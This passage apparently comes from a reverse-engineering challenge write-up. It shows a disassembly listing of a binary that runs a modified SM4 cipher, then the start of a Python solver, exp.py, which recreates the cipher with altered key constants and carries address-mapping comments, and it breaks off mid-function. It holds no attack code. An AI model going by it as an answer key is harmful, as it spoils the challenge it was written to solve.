rax,qword ptr ss:&#91;rbp+20]           |\n00000000004019C8 | 48:01C8                  | add rax,rcx                             |\n00000000004019CB | 8B00                     | mov eax,dword ptr ds:&#91;rax]              |\n00000000004019CD | 31D0                     | xor eax,edx                             |\n00000000004019CF | 8945 F8                  | mov dword ptr ss:&#91;rbp-8],eax            |\n00000000004019D2 | 8B45 FC                  | mov eax,dword ptr ss:&#91;rbp-4]            |\n00000000004019D5 | 8D70 04                  | lea esi,qword ptr ds:&#91;rax+4]            |\n00000000004019D8 | 8B45 FC                  | mov eax,dword ptr ss:&#91;rbp-4]            |\n00000000004019DB | 48:98                    | cdqe                                    |\n00000000004019DD | 8B9C85 60FFFFFF          | mov ebx,dword ptr ss:&#91;rbp+rax*4-A0]     |\n00000000004019E4 | 8B45 F8                  | mov eax,dword ptr ss:&#91;rbp-8]            |\n00000000004019E7 | 89C1                     | mov ecx,eax                             |\n00000000004019E9 | E8 0DFDFFFF              | call c_sm4.4016FB                       |\n00000000004019EE | 31C3                     | xor ebx,eax                             |\n00000000004019F0 | 89DA                     | mov edx,ebx                             |\n00000000004019F2 | 48:63C6                  | movsxd rax,esi                          |\n00000000004019F5 | 899485 60FFFFFF          | mov dword ptr ss:&#91;rbp+rax*4-A0],edx     |\n00000000004019FC | 8345 FC 01               | add dword ptr ss:&#91;rbp-4],1              |\n0000000000401A00 | 837D FC 1F               | cmp dword ptr ss:&#91;rbp-4],1F             |\n0000000000401A04 | 7E 80                    | jle c_sm4.401986                        |\n0000000000401A06 | 8B55 EC                  | mov edx,dword ptr ss:&#91;rbp-14]           |\n0000000000401A09 | 48:8B45 30               | mov rax,qword ptr ss:&#91;rbp+30]           |\n0000000000401A0D | 48:89C1                  | mov rcx,rax                             |\n0000000000401A10 | E8 82FBFFFF              | call c_sm4.401597                       |\n0000000000401A15 | 8B45 E8                  | mov eax,dword ptr ss:&#91;rbp-18]           |\n0000000000401A18 | 48:8B55 30               | mov rdx,qword ptr ss:&#91;rbp+30]           |\n0000000000401A1C | 48:8D4A 04               | lea rcx,qword ptr ds:&#91;rdx+4]            |\n0000000000401A20 | 89C2                     | mov edx,eax                             |\n0000000000401A22 | E8 70FBFFFF              | call c_sm4.401597                       |\n0000000000401A27 | 8B45 E4                  | mov eax,dword ptr ss:&#91;rbp-1C]           |\n0000000000401A2A | 48:8B55 30               | mov rdx,qword ptr ss:&#91;rbp+30]           |\n0000000000401A2E | 48:8D4A 08               | lea rcx,qword ptr ds:&#91;rdx+8]            |\n0000000000401A32 | 89C2                     | mov edx,eax                             |\n0000000000401A34 | E8 5EFBFFFF              | call c_sm4.401597                       |\n0000000000401A39 | 8B45 E0                  | mov eax,dword ptr ss:&#91;rbp-20]           |\n0000000000401A3C | 48:8B55 30               | mov rdx,qword ptr ss:&#91;rbp+30]           |\n0000000000401A40 | 48:8D4A 0C               | lea rcx,qword ptr ds:&#91;rdx+C]            |\n0000000000401A44 | 89C2                     | mov edx,eax                             |\n0000000000401A46 | E8 4CFBFFFF              | call c_sm4.401597                       |\n0000000000401A4B | 90                       | nop                                     |\n0000000000401A4C | 48:81C4 C0000000         | add rsp,C0                              |\n0000000000401A53 | 5B                       | pop rbx                                 |\n0000000000401A54 | 5E                       | pop rsi                                 |\n0000000000401A55 | 5D                       | pop rbp                                 |\n0000000000401A56 | C3                       | ret                                     |\n0000000000401A57 | 55                       | push rbp                                |\n0000000000401A58 | 48:89E5                  | mov rbp,rsp                             |\n0000000000401A5B | 48:83EC 30               | sub rsp,30                              |\n0000000000401A5F | 48:894D 10               | mov qword ptr ss:&#91;rbp+10],rcx           | &#91;rbp+10]:__pioinfo\n0000000000401A63 | 48:8955 18               | mov qword ptr ss:&#91;rbp+18],rdx           |\n0000000000401A67 | 4C:8945 20               | mov qword ptr ss:&#91;rbp+20],r8            |\n0000000000401A6B | 48:8B45 18               | mov rax,qword ptr ss:&#91;rbp+18]           |\n0000000000401A6F | 83E0 0F                  | and eax,F                               |\n0000000000401A72 | BA 10000000              | mov edx,10                              |\n0000000000401A77 | 48:29C2                  | sub rdx,rax                             |\n0000000000401A7A | 48:89D0                  | mov rax,rdx                             |\n0000000000401A7D | 48:8945 F8               | mov qword ptr ss:&#91;rbp-8],rax            |\n0000000000401A81 | 48:837D F8 00            | cmp qword ptr ss:&#91;rbp-8],0              |\n0000000000401A86 | 75 08                    | jne c_sm4.401A90                        |\n0000000000401A88 | 48:C745 F8 10000000      | mov qword ptr ss:&#91;rbp-8],10             |\n0000000000401A90 | 48:8B55 18               | mov rdx,qword ptr ss:&#91;rbp+18]           |\n0000000000401A94 | 48:8B45 F8               | mov rax,qword ptr ss:&#91;rbp-8]            |\n0000000000401A98 | 48:01C2                  | add rdx,rax                             |\n0000000000401A9B | 48:8B45 20               | mov rax,qword ptr ss:&#91;rbp+20]           |\n0000000000401A9F | 48:8910                  | mov qword ptr ds:&#91;rax],rdx              |\n0000000000401AA2 | 48:8B45 20               | mov rax,qword ptr ss:&#91;rbp+20]           |\n0000000000401AA6 | 48:8B00                  | mov rax,qword ptr ds:&#91;rax]              |\n0000000000401AA9 | 48:89C1                  | mov rcx,rax                             |\n0000000000401AAC | E8 6F190000              | call &lt;JMP.&amp;malloc&gt;                      |\n0000000000401AB1 | 48:8945 F0               | mov qword ptr ss:&#91;rbp-10],rax           |\n0000000000401AB5 | 48:837D F0 00            | cmp qword ptr ss:&#91;rbp-10],0             |\n0000000000401ABA | 75 07                    | jne c_sm4.401AC3                        |\n0000000000401ABC | B8 00000000              | mov eax,0                               |\n0000000000401AC1 | EB 3D                    | jmp c_sm4.401B00                        |\n0000000000401AC3 | 48:8B55 18               | mov rdx,qword ptr ss:&#91;rbp+18]           |\n0000000000401AC7 | 48:8B45 F0               | mov rax,qword ptr ss:&#91;rbp-10]           |\n0000000000401ACB | 49:89D0                  | mov r8,rdx                              |\n0000000000401ACE | 48:8B55 10               | mov rdx,qword ptr ss:&#91;rbp+10]           | &#91;rbp+10]:__pioinfo\n0000000000401AD2 | 48:89C1                  | mov rcx,rax                             |\n0000000000401AD5 | E8 56190000              | call &lt;JMP.&amp;memmove&gt;                     |\n0000000000401ADA | 48:8B45 F8               | mov rax,qword ptr ss:&#91;rbp-8]            |\n0000000000401ADE | 89C1                     | mov ecx,eax                             |\n0000000000401AE0 | 48:8B55 F0               | mov rdx,qword ptr ss:&#91;rbp-10]           |\n0000000000401AE4 | 48:8B45 18               | mov rax,qword ptr ss:&#91;rbp+18]           |\n0000000000401AE8 | 48:01D0                  | add rax,rdx                             |\n0000000000401AEB | 48:8B55 F8               | mov rdx,qword ptr ss:&#91;rbp-8]            |\n0000000000401AEF | 49:89D0                  | mov r8,rdx                              |\n0000000000401AF2 | 89CA                     | mov edx,ecx                             |\n0000000000401AF4 | 48:89C1                  | mov rcx,rax                             |\n0000000000401AF7 | E8 64190000              | call &lt;JMP.&amp;memset&gt;                      |\n0000000000401AFC | 48:8B45 F0               | mov rax,qword ptr ss:&#91;rbp-10]           |\n0000000000401B00 | 48:83C4 30               | add rsp,30                              |\n0000000000401B04 | 5D                       | pop rbp                                 |\n0000000000401B05 | C3                       | ret                                     |\n0000000000401B06 | 55                       | push rbp                                |\n0000000000401B07 | 48:89E5                  | mov rbp,rsp                             |\n0000000000401B0A | 48:83EC 10               | sub rsp,10                              |\n0000000000401B0E | 48:894D 10               | mov qword ptr ss:&#91;rbp+10],rcx           | &#91;rbp+10]:__pioinfo\n0000000000401B12 | 48:8955 18               | mov qword ptr ss:&#91;rbp+18],rdx           |\n0000000000401B16 | 48:8B45 18               | mov rax,qword ptr ss:&#91;rbp+18]           |\n0000000000401B1A | 48:8B00                  | mov rax,qword ptr ds:&#91;rax]              |\n0000000000401B1D | 48:85C0                  | test rax,rax                            |\n0000000000401B20 | 74 0F                    | je c_sm4.401B31                         |\n0000000000401B22 | 48:8B45 18               | mov rax,qword ptr ss:&#91;rbp+18]           |\n0000000000401B26 | 48:8B00                  | mov rax,qword ptr ds:&#91;rax]              |\n0000000000401B29 | 83E0 0F                  | and eax,F                               |\n0000000000401B2C | 48:85C0                  | test rax,rax                            |\n0000000000401B2F | 74 0A                    | je c_sm4.401B3B                         |\n0000000000401B31 | B8 00000000              | mov eax,0                               |\n0000000000401B36 | E9 83000000              | jmp c_sm4.401BBE                        |\n0000000000401B3B | 48:8B45 18               | mov rax,qword ptr ss:&#91;rbp+18]           |\n0000000000401B3F | 48:8B00                  | mov rax,qword ptr ds:&#91;rax]              |\n0000000000401B42 | 48:8D50 FF               | lea rdx,qword ptr ds:&#91;rax-1]            |\n0000000000401B46 | 48:8B45 10               | mov rax,qword ptr ss:&#91;rbp+10]           | &#91;rbp+10]:__pioinfo\n0000000000401B4A | 48:01D0                  | add rax,rdx                             |\n0000000000401B4D | 0FB600                   | movzx eax,byte ptr ds:&#91;rax]             |\n0000000000401B50 | 8845 F7                  | mov byte ptr ss:&#91;rbp-9],al              |\n0000000000401B53 | 807D F7 00               | cmp byte ptr ss:&#91;rbp-9],0               |\n0000000000401B57 | 74 06                    | je c_sm4.401B5F                         |\n0000000000401B59 | 807D F7 10               | cmp byte ptr ss:&#91;rbp-9],10              |\n0000000000401B5D | 76 07                    | jbe c_sm4.401B66                        |\n0000000000401B5F | B8 00000000              | mov eax,0                               |\n0000000000401B64 | EB 58                    | jmp c_sm4.401BBE                        |\n0000000000401B66 | 48:C745 F8 00000000      | mov qword ptr ss:&#91;rbp-8],0              |\n0000000000401B6E | EB 2A                    | jmp c_sm4.401B9A                        |\n0000000000401B70 | 48:8B45 18               | mov rax,qword ptr ss:&#91;rbp+18]           |\n0000000000401B74 | 48:8B00                  | mov rax,qword ptr ds:&#91;rax]              |\n0000000000401B77 | 48:2B45 F8               | sub rax,qword ptr ss:&#91;rbp-8]            |\n0000000000401B7B | 48:8D50 FF               | lea rdx,qword ptr ds:&#91;rax-1]            |\n0000000000401B7F | 48:8B45 10               | mov rax,qword ptr ss:&#91;rbp+10]           | &#91;rbp+10]:__pioinfo\n0000000000401B83 | 48:01D0                  | add rax,rdx                             |\n0000000000401B86 | 0FB600                   | movzx eax,byte ptr ds:&#91;rax]             |\n0000000000401B89 | 3A45 F7                  | cmp al,byte ptr ss:&#91;rbp-9]              |\n0000000000401B8C | 74 07                    | je c_sm4.401B95                         |\n0000000000401B8E | B8 00000000              | mov eax,0                               |\n0000000000401B93 | EB 29                    | jmp c_sm4.401BBE                        |\n0000000000401B95 | 48:8345 F8 01            | add qword ptr ss:&#91;rbp-8],1              |\n0000000000401B9A | 0FB645 F7                | movzx eax,byte ptr ss:&#91;rbp-9]           |\n0000000000401B9E | 48:3B45 F8               | cmp rax,qword ptr ss:&#91;rbp-8]            |\n0000000000401BA2 | 77 CC                    | ja c_sm4.401B70                         |\n0000000000401BA4 | 48:8B45 18               | mov rax,qword ptr ss:&#91;rbp+18]           |\n0000000000401BA8 | 48:8B10                  | mov rdx,qword ptr ds:&#91;rax]              |\n0000000000401BAB | 0FB645 F7                | movzx eax,byte ptr ss:&#91;rbp-9]           |\n0000000000401BAF | 48:29C2                  | sub rdx,rax                             |\n0000000000401BB2 | 48:8B45 18               | mov rax,qword ptr ss:&#91;rbp+18]           |\n0000000000401BB6 | 48:8910                  | mov qword ptr ds:&#91;rax],rdx              |\n0000000000401BB9 | B8 01000000              | mov eax,1                               |\n0000000000401BBE | 48:83C4 10               | add rsp,10                              |\n0000000000401BC2 | 5D                       | pop rbp                                 |\n0000000000401BC3 | C3                       | ret                                     |\n0000000000401BC4 | 55                       | push rbp                                |\n0000000000401BC5 | 48:89E5                  | mov rbp,rsp                             |\n0000000000401BC8 | 48:81EC C0000000         | sub rsp,C0                              |\n0000000000401BCF | 48:894D 10               | mov qword ptr ss:&#91;rbp+10],rcx           | &#91;rbp+10]:__pioinfo\n0000000000401BD3 | 48:8955 18               | mov qword ptr ss:&#91;rbp+18],rdx           |\n0000000000401BD7 | 4C:8945 20               | mov qword ptr ss:&#91;rbp+20],r8            |\n0000000000401BDB | 4C:894D 28               | mov qword ptr ss:&#91;rbp+28],r9            |\n0000000000401BDF | 48:8B55 20               | mov rdx,qword ptr ss:&#91;rbp+20]           |\n0000000000401BE3 | 48:8D85 60FFFFFF         | lea rax,qword ptr ss:&#91;rbp-A0]           | &#91;rbp-A0]:RtlAllocateHeap+AAD\n0000000000401BEA | 48:89C1                  | mov rcx,rax                             |\n0000000000401BED | E8 49FBFFFF              | call c_sm4.40173B                       |\n0000000000401BF2 | 48:C745 E0 00000000      | mov qword ptr ss:&#91;rbp-20],0             |\n0000000000401BFA | 48:8D55 E0               | lea rdx,qword ptr ss:&#91;rbp-20]           |\n0000000000401BFE | 48:8B45 18               | mov rax,qword ptr ss:&#91;rbp+18]           |\n0000000000401C02 | 49:89D0                  | mov r8,rdx                              |\n0000000000401C05 | 48:89C2                  | mov rdx,rax                             |\n0000000000401C08 | 48:8B4D 10               | mov rcx,qword ptr ss:&#91;rbp+10]           | &#91;rbp+10]:__pioinfo\n0000000000401C0C | E8 46FEFFFF              | call c_sm4.401A57                       |\n0000000000401C11 | 48:8945 F0               | mov qword ptr ss:&#91;rbp-10],rax           |\n0000000000401C15 | 48:837D F0 00            | cmp qword ptr ss:&#91;rbp-10],0             |\n0000000000401C1A | 75 0A                    | jne c_sm4.401C26                        |\n0000000000401C1C | B8 00000000              | mov eax,0                               |\n0000000000401C21 | E9 87000000              | jmp c_sm4.401CAD                        |\n0000000000401C26 | 48:8B45 E0               | mov rax,qword ptr ss:&#91;rbp-20]           |\n0000000000401C2A | 48:89C1                  | mov rcx,rax                             |\n0000000000401C2D | E8 EE170000              | call &lt;JMP.&amp;malloc&gt;                      |\n0000000000401C32 | 48:8945 E8               | mov qword ptr ss:&#91;rbp-18],rax           |\n0000000000401C36 | 48:837D E8 00            | cmp qword ptr ss:&#91;rbp-18],0             |\n0000000000401C3B | 75 13                    | jne c_sm4.401C50                        |\n0000000000401C3D | 48:8B45 F0               | mov rax,qword ptr ss:&#91;rbp-10]           |\n0000000000401C41 | 48:89C1                  | mov rcx,rax                             |\n0000000000401C44 | E8 1F180000              | call &lt;JMP.&amp;free&gt;                        |\n0000000000401C49 | B8 00000000              | mov eax,0                               |\n0000000000401C4E | EB 5D                    | jmp c_sm4.401CAD                        |\n0000000000401C50 | 48:C745 F8 00000000      | mov qword ptr ss:&#91;rbp-8],0              |\n0000000000401C58 | EB 2E                    | jmp c_sm4.401C88                        |\n0000000000401C5A | 48:8B55 E8               | mov rdx,qword ptr ss:&#91;rbp-18]           |\n0000000000401C5E | 48:8B45 F8               | mov rax,qword ptr ss:&#91;rbp-8]            |\n0000000000401C62 | 48:8D0C02                | lea rcx,qword ptr ds:&#91;rdx+rax]          |\n0000000000401C66 | 48:8B55 F0               | mov rdx,qword ptr ss:&#91;rbp-10]           |\n0000000000401C6A | 48:8B45 F8               | mov rax,qword ptr ss:&#91;rbp-8]            |\n0000000000401C6E | 48:01C2                  | add rdx,rax                             |\n0000000000401C71 | 48:8D85 60FFFFFF         | lea rax,qword ptr ss:&#91;rbp-A0]           | &#91;rbp-A0]:RtlAllocateHeap+AAD\n0000000000401C78 | 49:89C8                  | mov r8,rcx                              |\n0000000000401C7B | 48:89C1                  | mov rcx,rax                             |\n0000000000401C7E | E8 8DFCFFFF              | call c_sm4.401910                       |\n0000000000401C83 | 48:8345 F8 10            | add qword ptr ss:&#91;rbp-8],10             |\n0000000000401C88 | 48:8B45 E0               | mov rax,qword ptr ss:&#91;rbp-20]           |\n0000000000401C8C | 48:3945 F8               | cmp qword ptr ss:&#91;rbp-8],rax            |\n0000000000401C90 | 72 C8                    | jb c_sm4.401C5A                         |\n0000000000401C92 | 48:8B45 F0               | mov rax,qword ptr ss:&#91;rbp-10]           |\n0000000000401C96 | 48:89C1                  | mov rcx,rax                             |\n0000000000401C99 | E8 CA170000              | call &lt;JMP.&amp;free&gt;                        |\n0000000000401C9E | 48:8B55 E0               | mov rdx,qword ptr ss:&#91;rbp-20]           |\n0000000000401CA2 | 48:8B45 28               | mov rax,qword ptr ss:&#91;rbp+28]           |\n0000000000401CA6 | 48:8910                  | mov qword ptr ds:&#91;rax],rdx              |\n0000000000401CA9 | 48:8B45 E8               | mov rax,qword ptr ss:&#91;rbp-18]           |\n0000000000401CAD | 48:81C4 C0000000         | add rsp,C0                              |\n0000000000401CB4 | 5D                       | pop rbp                                 |\n0000000000401CB5 | C3                       | ret                                     |\n0000000000401CB6 | 55                       | push rbp                                |\n0000000000401CB7 | 48:89E5                  | mov rbp,rsp                             |\n0000000000401CBA | 48:83EC 30               | sub rsp,30                              |\n0000000000401CBE | 48:894D 10               | mov qword ptr ss:&#91;rbp+10],rcx           | &#91;rbp+10]:__pioinfo\n0000000000401CC2 | 48:8955 18               | mov qword ptr ss:&#91;rbp+18],rdx           |\n0000000000401CC6 | 48:C745 F8 00000000      | mov qword ptr ss:&#91;rbp-8],0              |\n0000000000401CCE | EB 24                    | jmp c_sm4.401CF4                        |\n0000000000401CD0 | 48:8B55 10               | mov rdx,qword ptr ss:&#91;rbp+10]           | &#91;rbp+10]:__pioinfo\n0000000000401CD4 | 48:8B45 F8               | mov rax,qword ptr ss:&#91;rbp-8]            |\n0000000000401CD8 | 48:01D0                  | add rax,rdx                             |\n0000000000401CDB | 0FB600                   | movzx eax,byte ptr ds:&#91;rax]             |\n0000000000401CDE | 0FB6C0                   | movzx eax,al                            |\n0000000000401CE1 | 89C2                     | mov edx,eax                             |\n0000000000401CE3 | 48:8D0D 16330000         | lea rcx,qword ptr ds:&#91;405000]           | 0000000000405000:\"%02x\"\n0000000000401CEA | E8 81170000              | call &lt;JMP.&amp;printf&gt;                      |\n0000000000401CEF | 48:8345 F8 01            | add qword ptr ss:&#91;rbp-8],1              |\n0000000000401CF4 | 48:8B45 F8               | mov rax,qword ptr ss:&#91;rbp-8]            |\n0000000000401CF8 | 48:3B45 18               | cmp rax,qword ptr ss:&#91;rbp+18]           |\n0000000000401CFC | 72 D2                    | jb c_sm4.401CD0                         |\n0000000000401CFE | B9 0A000000              | mov ecx,A                               | 0A:'n'\n0000000000401D03 | E8 70170000              | call &lt;JMP.&amp;putchar&gt;                     |\n0000000000401D08 | 90                       | nop                                     |\n0000000000401D09 | 48:83C4 30               | add rsp,30                              |\n0000000000401D0D | 5D                       | pop rbp                                 |\n0000000000401D0E | C3                       | ret                                     |\n0000000000401D0F | 55                       | push rbp                                |\n0000000000401D10 | B8 50100000              | mov eax,1050                            |\n0000000000401D15 | E8 86160000              | call c_sm4.4033A0                       |\n0000000000401D1A | 48:29C4                  | sub rsp,rax                             |\n0000000000401D1D | 48:8DAC24 80000000       | lea rbp,qword ptr ss:&#91;rsp+80]           | &#91;rsp+80]:_read+3DA\n0000000000401D25 | E8 160D0000              | call c_sm4.402A40                       |\n0000000000401D2A | C685 B00F0000 01         | mov byte ptr ss:&#91;rbp+FB0],1             |\n0000000000401D31 | C685 B10F0000 23         | mov byte ptr ss:&#91;rbp+FB1],23            | 23:'#'\n0000000000401D38 | C685 B20F0000 45         | mov byte ptr ss:&#91;rbp+FB2],45            | 45:'E'\n0000000000401D3F | C685 B30F0000 67         | mov byte ptr ss:&#91;rbp+FB3],67            | 67:'g'\n0000000000401D46 | C685 B40F0000 89         | mov byte ptr ss:&#91;rbp+FB4],89            |\n0000000000401D4D | C685 B50F0000 AB         | mov byte ptr ss:&#91;rbp+FB5],AB            |\n0000000000401D54 | C685 B60F0000 CD         | mov byte ptr ss:&#91;rbp+FB6],CD            |\n0000000000401D5B | C685 B70F0000 EF         | mov byte ptr ss:&#91;rbp+FB7],EF            |\n0000000000401D62 | C685 B80F0000 FE         | mov byte ptr ss:&#91;rbp+FB8],FE            |\n0000000000401D69 | C685 B90F0000 DC         | mov byte ptr ss:&#91;rbp+FB9],DC            |\n0000000000401D70 | C685 BA0F0000 BA         | mov byte ptr ss:&#91;rbp+FBA],BA            |\n0000000000401D77 | C685 BB0F0000 98         | mov byte ptr ss:&#91;rbp+FBB],98            |\n0000000000401D7E | C685 BC0F0000 76         | mov byte ptr ss:&#91;rbp+FBC],76            | 76:'v'\n0000000000401D85 | C685 BD0F0000 54         | mov byte ptr ss:&#91;rbp+FBD],54            | 54:'T'\n0000000000401D8C | C685 BE0F0000 32         | mov byte ptr ss:&#91;rbp+FBE],32            | 32:'2'\n0000000000401D93 | C685 BF0F0000 10         | mov byte ptr ss:&#91;rbp+FBF],10            |\n0000000000401D9A | 48:8D0D 67320000         | lea rcx,qword ptr ds:&#91;405008]           | 0000000000405008:\"Enter a string to encrypt and decrypt: \"<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>SBOX = &#91;\n    0xd6, 0x90, 0xe9, 0xfe, 0xcc, 0xe1, 0x3d, 0xb7, 0x16, 0xb6, 0x14, 0xc2, 0x28, 0xfb, 0x2c, 0x05,\n    0x2b, 0x67, 0x9a, 0x76, 0x2a, 0xbe, 0x04, 0xc3, 0xaa, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,\n    0x9c, 0x42, 0x50, 0xf4, 0x91, 0xef, 0x98, 0x7a, 0x33, 0x54, 0x0b, 0x43, 0xed, 0xcf, 0xac, 0x62,\n    0xe4, 0xb3, 0x1c, 0xa9, 0xc9, 0x08, 0xe8, 0x95, 0x80, 0xdf, 0x94, 0xfa, 0x75, 0x8f, 0x3f, 0xa6,\n    0x47, 0x07, 0xa7, 0xfc, 0xf3, 0x73, 0x17, 0xba, 0x83, 0x59, 0x3c, 0x19, 0xe6, 0x85, 0x4f, 0xa8,\n    0x68, 0x6b, 0x81, 0xb2, 0x71, 0x64, 0xda, 0x8b, 0xf8, 0xeb, 0x0f, 0x4b, 0x70, 0x56, 0x9d, 0x35,\n    0x1e, 0x24, 0x0e, 0x5e, 0x63, 0x58, 0xd1, 0xa2, 0x25, 0x22, 0x7c, 0x3b, 0x01, 0x21, 0x78, 0x87,\n    0xd4, 0x00, 0x46, 0x57, 0x9f, 0xd3, 0x27, 0x52, 0x4c, 0x36, 0x02, 0xe7, 0xa0, 0xc4, 0xc8, 0x9e,\n    0xea, 0xbf, 0x8a, 0xd2, 0x40, 0xc7, 0x38, 0xb5, 0xa3, 0xf7, 0xf2, 0xce, 0xf9, 0x61, 0x15, 0xa1,\n    0xe0, 0xae, 0x5d, 0xa4, 0x9b, 0x34, 0x1a, 0x55, 0xad, 0x93, 0x32, 0x30, 0xf5, 0x8c, 0xb1, 0xe3,\n    0x1d, 0xf6, 0xe2, 0x2e, 0x82, 0x66, 0xca, 0x60, 0xc0, 0x29, 0x23, 0xab, 0x0d, 0x53, 0x4e, 0x6f,\n    0xd5, 0xdb, 0x37, 0x45, 0xde, 0xfd, 0x8e, 0x2f, 0x03, 0xff, 0x6a, 0x72, 0x6d, 0x6c, 0x5b, 0x51,\n    0x8d, 0x1b, 0xaf, 0x92, 0xbb, 0xdd, 0xbc, 0x7f, 0x11, 0xd9, 0x5c, 0x41, 0x1f, 0x10, 0x5a, 0xd8,\n    0x0a, 0xc1, 0x31, 0x88, 0xa5, 0xcd, 0x7b, 0xbd, 0x2d, 0x74, 0xd0, 0x12, 0xb8, 0xe5, 0xb4, 0xb0,\n    0x89, 0x69, 0x97, 0x4a, 0x0c, 0x96, 0x77, 0x7e, 0x65, 0xb9, 0xf1, 0x09, 0xc5, 0x6e, 0xc6, 0x84,\n    0x18, 0xf0, 0x7d, 0xec, 0x3a, 0xdc, 0x4d, 0x20, 0x79, 0xee, 0x5f, 0x3e, 0xd7, 0xcb, 0x39, 0x48\n]\n#\u8fd9\u662f\u6807\u51c6\u7684SM4 S\u76d2\u684c\u3002\u5728\u96c6\u4f1a\u4e2d\uff0c\u5b83\u88ab\u5f15\u7528\u5728\u5730\u57400x405080\nFK = &#91;0xa3b1bac6 + 1, 0x56aa3350 + 2, 0x677d9197 + 3, 0xb27022dc + 4]\n\n#FK \u6765\u81ea\u4ee5\u4e0b\u5730\u5740\u7684\u6c47\u7f16\u4ee3\u7801\uff1a\n#0x40179B: mov edx,A3B1BAC6 \u7136\u540e add edx,1\n\n#0x4017AE: mov edx,56AA3350 \u7136\u540e add edx,2\n\n#0x4017C1: mov edx,677D9197 \u7136\u540e add edx,3\n\n#0x4017D4: mov edx,B27022DC \u7136\u540e add edx,4\nCK = &#91;\n    0x00070e15, 0x1c232a31, 0x383f464d, 0x545b6269,\n    0x70777e85, 0x8c939aa1, 0xa8afb6bd, 0xc4cbd2d9,\n    0xe0e7eef5, 0xfc030a11, 0x181f262d, 0x343b4249,\n    0x50575e65, 0x6c737a81, 0x888f969d, 0xa4abb2b9,\n    0xc0c7ced5, 0xdce3eaf1, 0xf8ff060d, 0x141b2229,\n    0x30373e45, 0x4c535a61, 0x686f767d, 0x848b9299,\n    0xa0a7aeb5, 0xbcc3cad1, 0xd8dfe6ed, 0xf4fb0209,\n    0x10171e25, 0x2c333a41, 0x484f565d, 0x646b7279\n]\n#\u8fd9\u4e9b\u662f\u6807\u51c6 SM4 CK \u5e38\u91cf\u3002\u5728\u6c47\u7f16\u4e2d 0x4051C0\ndef rotl(x, n):\n    return ((x &lt;&lt; n) &amp; 0xffffffff) | ((x &gt;&gt; (32 - n)) &amp; 0xffffffff)\n#\u8fd9\u5b9e\u73b0\u4e86\u65cb\u8f6c\u64cd\u4f5c\u3002\u5728\u6c47\u7f16\u4e2d\uff0c\u4f4d\u4e8e\u5730\u5740 0x401542 \u7684 rol \u6307\u4ee4\ndef get_uint32_be(data, offset=0):\n    return (data&#91;offset] &lt;&lt; 24) | (data&#91;offset+1] &lt;&lt; 16) | (data&#91;offset+2] &lt;&lt; 8) | data&#91;offset+3]\n#\u8fd9\u5c06\u5b57\u8282\u8f6c\u6362\u4e3a 32 \u4f4d\u6574\u6570\uff08\u5927\u7aef\u5e8f\uff09\u3002\u5728\u6c47\u7f16\u4e2d\uff0c\u8fd9\u5bf9\u5e94\u4e8e\u5730\u5740 0x401548 \u7684\u51fd\u6570\ndef put_uint32_be(n):\n    return bytes(&#91;(n &gt;&gt; 24) &amp; 0xff, (n &gt;&gt; 16) &amp; 0xff, (n &gt;&gt; 8) &amp; 0xff, n &amp; 0xff])\n#\u8fd9\u5c06 32 \u4f4d\u6574\u6570\u8f6c\u6362\u4e3a\u5b57\u8282\uff08\u5927\u7aef\u5e8f\uff09\u3002\u5728\u6c47\u7f16\u4e2d\uff0c\u8fd9\u5bf9\u5e94\u4e8e\u5730\u5740 0x401597 \u7684\u51fd\u6570\ndef sm4_sbox(inch):\n    outch = &#91;0] * 4\n    outch&#91;0] = SBOX&#91;inch&#91;0]]\n    outch&#91;1] = SBOX&#91;inch&#91;1]]\n    outch&#91;2] = SBOX&#91;inch&#91;2]]\n    outch&#91;3] = SBOX&#91;inch&#91;3]]\n    return (outch&#91;0] &lt;&lt; 24) | (outch&#91;1] &lt;&lt; 16) | (outch&#91;2] &lt;&lt; 8) | outch&#91;3]\n#\u8fd9\u5b9e\u73b0\u4e86 S \u76d2\u66ff\u4ee3\u3002\u5728\u6c47\u7f16\u4e2d\uff0c\u8fd9\u5728 0x4015DF \u5904\u3002\ndef sm4_lt(ka):\n    bb = ka ^ rotl(ka, 2) ^ rotl(ka, 10) ^ rotl(ka, 18) ^ rotl(ka, 24)\n    return bb\n#\u8fd9\u5b9e\u73b0\u4e86\u7ebf\u6027\u53d8\u6362 L\u3002\u5728\u6c47\u7f16\u4e2d\uff0c\u8fd9\u5728 0x40166B \u5904\u3002\ndef sm4_f(x0, x1, x2, x3, rk):\n    temp = x1 ^ x2 ^ x3 ^ rk\n    inch = &#91;(temp &gt;&gt; 24) &amp; 0xff, (temp &gt;&gt; 16) &amp; 0xff, (temp &gt;&gt; 8) &amp; 0xff, temp &amp; 0xff]\n    bb = sm4_sbox(inch)\n    return x0 ^ sm4_lt(bb)\n#\u8fd9\u5b9e\u73b0\u4e86\u8f6e\u51fd\u6570 F\u3002\u5728\u6c47\u7f16\u4e2d\uff0c\u4e3b\u8981\u7684\u52a0\u5bc6\u903b\u8f91\u4ece 0x40173B \u5f00\u59cb\u3002\n\ndef sm4_setkey(key, mode):\n    MK = &#91;get_uint32_be(key, i*4) for i in range(4)]\n    K = &#91;MK&#91;i] ^ FK&#91;i] for i in range(4)]\n\n    rk = &#91;]\n    for i in range(32):\n        temp = K&#91;1] ^ K&#91;2] ^ K&#91;3] ^ CK&#91;i]\n        inch = &#91;(temp &gt;&gt; 24) &amp; 0xff, (temp &gt;&gt; 16) &amp; 0xff, (temp &gt;&gt; 8) &amp; 0xff, temp &amp; 0xff]\n        bb = sm4_sbox(inch)\n        rk_i = K&#91;0] ^ (bb ^ rotl(bb, 13) ^ rotl(bb, 23))\n        K = K&#91;1:] + &#91;rk_i]\n        rk.append(rk_i)\n\n    if mode == 0: \n        rk = rk&#91;::-1]\n\n    return rk\n#\u8fd9\u5b9e\u73b0\u4e86\u5bc6\u94a5\u6269\u5c55\u3002\u5728\u6c47\u7f16\u4e2d\uff0c\u5bc6\u94a5\u6269\u5c55\u903b\u8f91\u5728\u4ece 0x40173B \u5f00\u59cb\u7684\u52a0\u5bc6\u51fd\u6570\u4e2d\u3002\ndef sm4_crypt_ecb(mode, key, data):\n    rk = sm4_setkey(key, mode)\n\n    output = b''\n    for i in range(0, len(data), 16):\n        block = data&#91;i:i+16]\n        if len(block) &lt; 16:\n            break\n\n        X = &#91;get_uint32_be(block, j*4) for j in range(4)]\n\n        for r in range(32):\n            X = X&#91;1:] + &#91;sm4_f(X&#91;0], X&#91;1], X&#91;2], X&#91;3], rk&#91;r])]\n\n        output += put_uint32_be(X&#91;3])\n        output += put_uint32_be(X&#91;2])\n        output 